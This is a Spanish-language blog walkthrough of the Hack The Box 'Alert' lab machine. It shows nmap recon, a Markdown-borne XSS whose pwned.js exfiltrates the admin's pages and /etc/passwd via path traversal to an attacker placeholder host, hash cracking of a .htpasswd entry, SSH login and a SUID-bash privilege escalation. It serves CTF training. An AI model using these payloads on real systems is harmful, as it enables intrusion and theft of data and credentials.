Post

HTB Alert Writeup

HTB Alert Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina Alert de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero vemos si tenemos conexión con la máquina y, de paso, gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.

1
2
3
4
5
6
7
ping -c1 10.10.11.44
PING 10.10.11.44 (10.10.11.44) 56(84) bytes of data.
64 bytes from 10.10.11.44: icmp_seq=1 ttl=63 time=151 ms

--- 10.10.11.44 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.119/151.119/151.119/0.000 ms

Vemos que el ttl de la máquina es de 63, el cual está próximo a 63 por ende nos encontramos ante una máquina Linux.

Ahora vamos a identificar los puertos abiertos dentro de la máquina, los invito a usar el siguiente script hecho en bash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"

IP="$1"

if [ -z "$IP" ]; then
  echo "Uso: $0 <IP>"
  exit 1
fi

TEMP_FILE=$(mktemp)

echo -e "${GREEN}[+] Escaneando todos los puertos abiertos... ${RESET}"

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn "$IP" -oG "$TEMP_FILE"

# Extraer los puertos abiertos
PORTS=$(grep -oP '\d+/open' "$TEMP_FILE" | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//'; echo)

rm "$TEMP_FILE"

if [ -z "$PORTS" ]; then
  echo -e "${RED}[-] No se encontraron puertos abiertos.${RESET}"
  exit 1
fi

echo -e "${GREEN}[+] Escanenado servicios en los puertos: $PORTS... ${RESET}"

nmap -sCV -p"$PORTS" "$IP" -oN target

echo -e "${GREEN}[+] Escano completado. Resultados en 'target'.${RESET}"

De preferencia es mejor usar este script como root, ya que algunos parámetros de nmap, requieren de privilegios elevados. Esto al final nos va a generar un archivo target que contiene la información de los puertos abiertos dentro de la máquina.

1
sudo ./scan.sh 10.10.11.44
1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que tenemos el puerto 22 - ssh y 80 - http, vemos que en el servidor web se aplica resolución DNS, y por ende nuestra máquina no sabe qué es alert.htb, así que lo agregamos al /etc/hosts, para que sepa dónde resolver

1
2
3
4
127.0.0.1   localhost
::1     localhost
127.0.0.1   machinename.localhost   machinename
10.10.11.44    alert.htb

Revisando la web

Cuando ingresamos a http://alert.htb, nos lleva a http://alert.htb/index.php?page=alert y tenemos un apartado para subir un archivo en formato Markdown. Podemos ver su contenido y nos da un link para compartirlo, pero no podemos explotar nada solo con eso.

Dentro de http://alert.htb/index.php?page=about, nos dicen que hay un administrador que va a estar revisando los mensajes, también está el apartado de contacto, podemos ver si el administrador revisa lo que le mandamos, si nos montamos un servidor con python y en el mensaje le adjuntamos nuestra web http:///IP, vemos que efectivamente quien revisa los mensajes da clic en el enlace.

Con gobuster, vamos a buscar otros directorios en la web.

1
gobuster dir -w archivo.txt -u http://alert.htb -x php

Algo a destacar es un directorio /messages y /messages.php, uno no devuelve nada y el otro regresa un código 403.

LFI via XSS

Bueno, algo que podríamos hacer es que mediante el archivo en Markdown nosotros definamos que al ver el archivo este resuelva a un archivo .js que podemos definir, vamos a intentar cargar la web que ve el administrador.

1
2
3
cat alert.md

<script src="http://YOUR_IP/pwned.js"></script>
1
2
3
4
5
6
7
8
9
cat pwned.js

var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/index.php?page=messages', false);
req.send();

var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://YOUR_IP/?data=' + btoa(req.responseText), false);
exfil.send();

Vemos que efectivamente el administrador tiene otro apartado en la web al cual no tenemos acceso.

Algo a destacar es el hecho de que en http://alert.htb/messages.php?file= aquí mediante ese paraámetro file solicita unos archivos. No sabemos cómo está montada la web, pero lo que podemos hacer es intentar cargar archivos internos de la máquina, editamos el pwned.js para ver el /etc/passwd

1
2
3
4
5
6
7
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../../../etc/passwd', false);
req.send();

var exfil = new XMLHttpRequest();
exfil.open('GET', 'http://YOUR_IP/?data=' + btoa(req.responseText), false);
exfil.send();

Vemos que efectivamente se cargan archivos internos de la máquina.

Podemos cargar el archivo .conf de apache, ya que este se usa para levantar el servicio web, este sería el archivo a solicitar ahora /etc/apache2/sites-available/000-default.conf.

Vemos cosas interesantes aquí. Lo primero es un subdominio statistics.alert.htb, que lo podemos agregar al /etc/hosts. Dentro de este subdominio, hay un archivo /var/www/statistics.alert.htb/.htpasswd, el cual suele contener credenciales cifradas, así que vemos que tiene.

Efectivamente, vemos a un usuario y su contraseña cifrada, así que lo tratamos de romper con hashcat

1
hashcat hash_file diccionario.txt --user

Nos descifra la contraseña, la cual es manchesterunited

Ganando acceso

Recordemos que el usuario albert, figuraba en el archivo /etc/passwd, así que vamos a tratar de conectarnos por ssh haciendo uso de esa credencial para ese usuario.

Vemos que se pudo y ya tenemos la primera parte de la máquina. Algo a destacar es que nuestro usuario está en el grupo management. Podemos buscar por ese grupo desde la raíz del sistema para ver qué tenemos.

1
find / -group management 2>/dev/null

Escalada de privilegios

Tenemos un directorio /opt/website-monitor, que parece ser otro servicio web, si vemos por los puertos abiertos se nos reporta que internamente la máquina tiene el puerto 8080 abierto, así que con ssh lo traemos a nuestro equipo.

1
ssh -L 8080:127.0.0.1:8080 albert@alert.htb

Vemos que quien está levantando el servicio es el usuario root.

Bueno algo que podemos hacer es ver los permisos que tenemos en dicho directorio, vemos que en /opt/website-monitor/monitors, poseemos permisos de interés, podemos crear un archivo en php que le dé permisos SUID a la bash, como el servidor usa php este va a entender el archivo y como es root quien ejecuta el servidor es él quien va a cargar el archivo con los privilegios necesarios. Entonces solo debemos dirigirnos a la página http://localhost:8080/monitors/pwned.php y confirmar los permisos de la bash.

Vemos que se pudo y ya podemos ver la root.txt.

This post is licensed under CC BY 4.0 by the author.